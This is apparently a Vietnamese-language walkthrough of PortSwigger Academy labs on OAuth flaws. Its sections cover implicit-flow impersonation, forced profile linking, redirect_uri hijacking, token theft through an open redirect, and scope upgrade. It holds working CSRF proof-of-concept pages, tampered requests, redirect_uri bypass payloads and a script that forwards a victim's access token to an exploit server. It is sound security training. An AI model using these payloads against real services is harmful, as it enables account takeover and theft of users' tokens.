Exploiting OAuth Authentication Vulnerabilities
Khai thác lỗ hổng xác thực OAuth.
Vulnerabilities in the Client Application
Improper Implementation of the Implicit Grant Type
Trong implicit grant flow, OAuth service gửi access token đến client application qua browser của user như URL fragment. Client sử dụng JavaScript để lấy token.
Để duy trì session sau khi user đóng trang, client thường gửi access token và data user (ví dụ, user ID) đến server trong request POST. Server sau đó assign session cookie để log in user. Không giống login truyền thống, server không có password hoặc secret để validate data, nên nó implicitly trust token.
Request POST này visible với kẻ tấn công qua browser. Nếu client application không verify rằng access token khớp với data user trong request, kẻ tấn công có thể manipulate parameter và impersonate user khác, dẫn đến lỗ hổng nghiêm trọng.
Lab: Authentication Bypass via OAuth Implicit Flow
Abstract
Lab này sử dụng OAuth service để cho phép user log in với account social media. Validation flawed bởi client application làm cho kẻ tấn công có thể log in vào account của user khác mà không biết password.
Để giải lab, log in vào account của Carlos. Email của anh ấy là
carlos@carlos-montoya.net.
Info
Đăng nhập social:
wiener:peter.
Authorization request cho thấy là implicit grant type vì URL có response_type=token.
https://oauth-0a6700380415944b8207699502b200ae.oauth-server.net/auth?client_id=zne0s7fkhulrhrd9375yo&redirect_uri=https://0ae100d00400946482ec6b4b001300ef.web-security-academy.net/oauth-callback&response_type=token&nonce=506826589&scope=openid%20profile%20emailChúng ta sẽ intercept và tamper request có Set-Cookie trong response:
POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 103
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
{"email":"wiener@hotdog.com","username":"wiener","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}Vì server không có data để so sánh với thông tin user, thay đổi email và username để impersonate:
POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 111
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
{"email":"carlos@carlos-montoya.net","username":"carlos","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}Flawed CSRF Protection
Parameter state là phần quan trọng của flow OAuth, hoạt động như CSRF token cho client application. Nó nên chứa giá trị unguessable, như hash tied với session của user, và được truyền giữa client và OAuth service.
Nếu parameter state thiếu trong authorization request, nó mở cửa cho kẻ tấn công khởi tạo flow OAuth và trick browser của user hoàn thành nó, tương tự tấn công CSRF. Điều này có thể dẫn đến vấn đề nghiêm trọng tùy thuộc vào cách client app sử dụng OAuth.
Lab: Forced OAuth Profile Linking
Abstract
Lab này cho phép chúng ta link profile social media đến account để OAuth login. Tuy nhiên, do implement OAuth insecure, kẻ tấn công có thể khai thác để access account của user khác.
Thực hiện tấn công CSRF để link profile social media của chúng ta đến account của admin, access admin panel, và xóa Carlos.
Info
User admin sẽ mở bất cứ thứ gì chúng ta gửi từ exploit server và họ luôn có session active trên blog website.
Đăng nhập:
- Blog website account:
wiener:peter- Social media profile:
peter.wiener:hotdog
Authorization request:
GET /auth?client_id=o1ow6gv5up9cyru9dt2t9&redirect_uri=https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/Request này tiết lộ một số thông tin:
- Grant type là Authorization Code.
- Parameter
statethiếu.
Request dùng để link profile social media:
GET /oauth-linking?code=fTyuPngoeXS5lvIbYLUlga_BSpfz7x4jiALnHRR_aQA HTTP/2
Host: 0a7a00c603bc43f981de20c6000500ea.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: https://oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net/Intercept request và generate PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a7a00c603bc43f981de20c6000500ea.web-security-academy.net/oauth-linking">
<input
type="hidden"
name="code"
value="fTyuPngoeXS5lvIbYLUlga_BSpfz7x4jiALnHRR_aQA"
/>
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/")
document.forms[0].submit()
</script>
</body>
</html>Gửi PoC cho nạn nhân, đăng nhập social ở trình duyệt khác (không proxy) để giữ request. Mở Admin Panel và xóa carlos.
Vulnerabilities in the OAuth Service
Leaking Authorization Codes and Access Tokens
Một trong lỗ hổng OAuth lớn nhất xảy ra khi OAuth service bị misconfigure, cho phép kẻ tấn công đánh cắp authorization code hoặc access token tied với account của user khác. Nếu kẻ tấn công đánh cắp code hoặc token hợp lệ, chúng có thể access data của nạn nhân và có thể log in như chúng trên bất kỳ app nào sử dụng OAuth service đó.
Tùy thuộc vào grant type, code hoặc token được gửi qua browser của nạn nhân đến endpoint /callback. Nếu OAuth service không validate redirect URI đúng cách, kẻ tấn công có thể trick browser của nạn nhân gửi code hoặc token đến endpoint attacker-controlled.
Trong authorization code flow, kẻ tấn công có thể đánh cắp code của nạn nhân trước khi được sử dụng và gửi đến endpoint /callback hợp pháp để gain access. Kẻ tấn công không cần client secret hoặc access token, chỉ session hợp lệ của nạn nhân với OAuth service. Sử dụng state hoặc nonce protection sẽ không dừng điều này, vì kẻ tấn công có thể generate giá trị riêng của chúng.
Info
Các authorization server an toàn hơn yêu cầu
redirect_uriđược gửi khi trao đổi code. Server kiểm tra nếu khớp với cái từ initial authorization request và từ chối trao đổi nếu không. Vì xảy ra qua kênh server-to-server an toàn, kẻ tấn công không thể kiểm soátredirect_urithứ hai.
Lab: OAuth account Hijacking via redirect_uri
Abstract
OAuth provider misconfigure cho phép đánh cắp authorization code gắn với tài khoản user khác.
Để giải lab, đánh cắp authorization code associated với user admin, sau đó sử dụng để access account của họ và xóa user
carlos.
Info
User admin sẽ mở bất cứ thứ gì chúng ta gửi từ exploit server và họ luôn có session active với OAuth service.
Đăng nhập social:
wiener:peter.
Chúng ta có thể thay đổi redirect_uri trong authorization request:
GET /auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://google.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0a39008e032d2909828b405502260060.oauth-server.net
Cookie: _session=rsI9w4letR-ayLXPImGuk; _session.legacy=rsI9w4letR-ayLXPImGuk
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/Nó sẽ được reflect ở một số nơi của response:
HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; secure; httponly
Date: Thu, 21 Nov 2024 13:54:24 GMT
Keep-Alive: timeout=5
Content-Length: 195
Redirecting to <a href="https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP">https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP</a>.Tạo PoC cho request trên, dùng https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net làm redirect_uri:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form
action="https://oauth-0a39008e032d2909828b405502260060.oauth-server.net/auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net&response_type=code&scope=openid%20profile%20email"
></form>
<script>
history.pushState("", "", "/")
document.forms[0].submit()
</script>
</body>
</html>Gửi PoC và kiểm tra access log để lấy authorization code:
10.0.3.41 2024-11-21 14:05:26 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.41 2024-11-21 14:05:27 +0000 "GET /?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"Sử dụng code này trong callback request để lấy session cookie:
GET /oauth-callback?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/2
Host: 0a8b002d033b29cb827b42cf00930001.web-security-academy.net
Cookie: session=DJEPTsAjI86yECtHhIaFoiSw5MrSfL8K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=zqUvnaH785Qq3JQXjSXHUHwoyGyH6H89; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 2996Cập nhật cookie trong browser với cookie này. Sau đó, truy cập endpoint /admin và xóa user carlos để giải lab.
Weak redirect_uri Validation
Để ngăn tấn công, client application nên cung cấp whitelist của valid callback URI khi đăng ký với OAuth service. Điều này cho phép service kiểm tra redirect_uri chống lại list và block external URI. Tuy nhiên, kẻ tấn công có thể vẫn tìm cách bypass validation này.
Khi auditing flow OAuth, test parameter redirect_uri để xem nó được validate như thế nào. Một số implementation chỉ kiểm tra rằng nó bắt đầu bằng domain được approve, cho phép thay đổi như thêm path, query parameter, hoặc fragment mà không trigger lỗi.
Chúng ta có thể thử thêm giá trị extra vào redirect_uri để khai thác sự khác biệt trong cách OAuth service parse nó. Ví dụ:
https://default-host.com&@foo.evil-user.net#@bar.evil-user.net/Cũng test cho server-side parameter pollution bằng cách submit duplicate parameter redirect_uri, như này:
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.netMột số server xử lý URI localhost khác nhau, vì chúng thường được sử dụng trong development. Trong một số trường hợp, bất kỳ redirect_uri bắt đầu bằng localhost có thể bị cho phép nhầm lẫn trong production, cho phép chúng ta bypass validation bằng cách sử dụng domain như localhost.evil-user.net.
Tip
Đừng chỉ tập trung test parameter
redirect_urimột mình. Trong kịch bản thực tế, chúng ta có thể cần test các kết hợp parameter khác nhau, vì thay đổi một cái có thể ảnh hưởng đến cái khác. Ví dụ, chuyểnresponse_modetừquerysangfragmentcó thể thay đổi cáchredirect_uriđược parse, có thể cho phép chúng ta bypass block. Cũng vậy, nếu response modeweb_messageđược hỗ trợ, nó có thể cho phép nhiều subdomain hơn trongredirect_uri.
Stealing Codes and Access Tokens via a Proxy Page
Thử mở rộng attack surface trong client application bằng cách kiểm tra nếu chúng ta có thể chỉnh sửa redirect_uri để trỏ đến trang khác trên domain whitelisted.
Tìm cách access subdomain hoặc path khác. Ví dụ, redirect_uri mặc định có thể là cái gì đó như /oauth/callback, nhưng chúng ta có thể sử dụng directory traversal trick như:
https://client-app.com/oauth/callback/../../example/pathĐiều này có thể được diễn giải như:
https://client-app.com/example/pathMột khi chúng ta xác định trang khác accessible, audit chúng cho lỗ hổng để leak code hoặc token:
- Authorization code flow: tìm cách access query parameter
- Implicit grant type: tập trung vào extract URL fragment.
Lỗ hổng open redirect hữu ích để forward nạn nhân, cùng với code hoặc token của họ, đến domain attacker-controlled nơi chúng ta có thể host script độc hại.
Đối với implicit grant, đánh cắp access token không chỉ cho phép chúng ta log in vào account của nạn nhân - nó cũng cho phép chúng ta thực hiện API call đến resource server của OAuth service, có thể expose data nhạy cảm không accessible qua UI của client application.
Lab: Stealing OAuth Access Tokens via an Open Redirect
Abstract
Lab này sử dụng OAuth service để cho phép user log in với account social media. Validation flawed bởi OAuth service làm cho kẻ tấn công có thể leak access token đến trang tùy ý trên client application.
Để giải lab, xác định open redirect trên blog website và sử dụng để đánh cắp access token cho account của user admin. Sử dụng access token để lấy API key của admin và submit giải pháp sử dụng button được cung cấp trong lab banner.
Note
Chúng ta không thể access API key của admin bằng cách đơn giản log in vào account của họ trên client application.
Info
User admin sẽ mở bất cứ thứ gì chúng ta gửi từ exploit server và họ luôn có session active với OAuth service.
Đăng nhập social:
wiener:peter.
Lab này sử dụng implicit grant type:
GET /auth?client_id=jb1etcwqf0ub61756snqz&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback&response_type=token&nonce=-552881171&scope=openid%20profile%20email HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.netRequest này có script Client-side redirect trong response:
GET /oauth-callback HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
Cookie: session=bBZ4f1ZEG01bP5mKs0G0hF2BGJBY7U8U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1))
const token = urlSearchParams.get("access_token")
fetch("https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/me", {
method: "GET",
headers: {
Authorization: "Bearer " + token,
"Content-Type": "application/json",
},
})
.then((r) => r.json())
.then((j) =>
fetch("/authenticate", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify({
email: j.email,
username: j.sub,
token: token,
}),
}).then((r) => (document.location = "/")),
)
</script>Như chúng ta thấy, client application sẽ extract access token từ fragment và gửi hai request tiếp theo, một để lấy thông tin user và một để tạo session associated với thông tin user:
GET /me HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net
HTTP/2 200 OK
{"sub":"wiener","apikey":"AOTpY3PtBrwgj6xifq1Nf72G6c1rJEuD","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}POST /authenticate HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
{"email":"wiener@hotdog.com","username":"wiener","token":"nz4gPnukMfd61Up-juNpD1hZKEUhvjRoNrlDFBrd2lr"}
HTTP/2 302 Found
Location: /
Set-Cookie: session=JnV7TMpj2wpYHvrWw9moMbaTWgHJUK1z; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0Request đầu tiên cũng có API key.
Tìm request có open redirect:
GET /post/next?path=https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.netHTTP/2 302 Found
Location: https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net
X-Frame-Options: SAMEORIGIN
Content-Length: 0Cũng, chúng ta có thể sử dụng path traversal trick trong authorization request:
GET /auth?client_id=jb1etcwqf0ub61756snqz&response_type=token&nonce=552881171&scope=openid%20profile%20email&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback/../post/next HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.netBây giờ, chúng ta có thể xây dựng CSRF PoC như này:
<script>
if (!document.location.hash) {
window.location =
"https://oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net/auth?client_id=nj0pun7ujt2ta6hzlnbgr&redirect_uri=https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit/&response_type=token&nonce=1591621695&scope=openid%20profile%20email"
} else {
window.location = "/?" + document.location.hash.substr(1)
}
</script>Đây là cách script hoạt động:
- Ban đầu, authorization request được gửi đến OAuth service với parameter
redirect_uriđộc hại. - Sau khi user authenticate và cung cấp consent, OAuth service redirect user đến
redirect_uri. Client application sau đó direct user trở lại exploit server quahttps://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit. - Khi truy cập exploit server lần thứ hai, phần fragment của URL (chứa access token) được extract và gửi đến exploit server tại path root (
/).
Deliver PoC đến nạn nhân và kiểm tra access log để lấy token của admin:
42.115.92.228 2024-11-21 16:13:28 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"
10.0.3.250 2024-11-21 16:13:28 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /?access_token=DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"Access token là DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA.
Sử dụng access token này trong request sau để lấy API key của admin:
GET /me HTTP/2
Host: oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net
Authorization: Bearer DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA
Content-Type: application/json
Origin: https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net
Referer: https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net/HTTP/2 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 21 Nov 2024 16:15:10 GMT
Keep-Alive: timeout=5
Content-Length: 152
{"sub":"administrator","apikey":"fisObrdtm2WYCOeaKeWNOz1nWflk0h1q","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}Flawed Scope Validation
Trong flow OAuth, user approve access dựa trên scope yêu cầu. Token kết quả giới hạn client app đến scope được approve. Tuy nhiên, kẻ tấn công có thể khai thác flaw validation trong OAuth service để “upgrade” token (bị đánh cắp hoặc thông qua malicious client application) với permission extra, tùy thuộc vào grant type.
Scope Upgrade: Authorization Code Flow
Trong authorization code grant flow, data user được trao đổi an toàn giữa server, mà kẻ tấn công thường không thể manipulate. Tuy nhiên, kẻ tấn công có thể đăng ký malicious client application với OAuth service để khai thác quy trình này.
Ví dụ, app độc hại có thể initially yêu cầu access đến email của user với scope openid email. Một khi user approve, app nhận authorization code. Kẻ tấn công, kiểm soát app, có thể sau đó chỉnh sửa request trao đổi token để bao gồm scope profile bổ sung:
POST /token
Host: oauth-authorization-server.com
...
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile
Nếu server thất bại trong việc validate scope chống lại request gốc, nó có thể issue token với scope thêm:
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile"
}Kẻ tấn công có thể sau đó sử dụng token này để access data profile unauthorized qua API call.
Một khi token được generate, Resource Server phải verify token cho mọi request. Verification này phụ thuộc vào định dạng token, các định dạng thường dùng là sau:
- JWT token: Với loại access token này, Resource Server chỉ cần kiểm tra signature JWT và sau đó lấy dữ liệu bao gồm trong JWT (
client_id,scope, v.v.) - Random String token: Vì loại token này không bao gồm bất kỳ thông tin bổ sung nào trong chúng, Resource Server cần lấy thông tin token từ Authorization Server.
Scope Upgrade: Implicit Flow
Trong implicit grant flow, access token được gửi qua browser, làm cho nó dễ bị đánh cắp bởi kẻ tấn công nếu hắn là chủ sở hữu của client application. Nếu kẻ tấn công đánh cắp token, chúng có thể sử dụng để thực hiện request, chẳng hạn đến endpoint /userinfo của OAuth service, và thêm parameter scope mới vào request.
OAuth service nên validate scope chống lại những gì được approve ban đầu khi token được issue. Tuy nhiên, nếu không, kẻ tấn công đôi khi có thể access data bổ sung miễn là permission mới không vượt quá những gì client app được phép. Điều này bypass nhu cầu approve user thêm.
Unverified User Registration
Khi sử dụng OAuth cho authentication, client app giả định data user của OAuth provider là chính xác, có thể risky.
Nếu OAuth provider cho phép user đăng ký mà không verify detail, như email address, kẻ tấn công có thể khai thác. Bằng cách tạo account với cùng email như user mục tiêu, chúng có thể sign in vào client app như nạn nhân sử dụng account gian lận.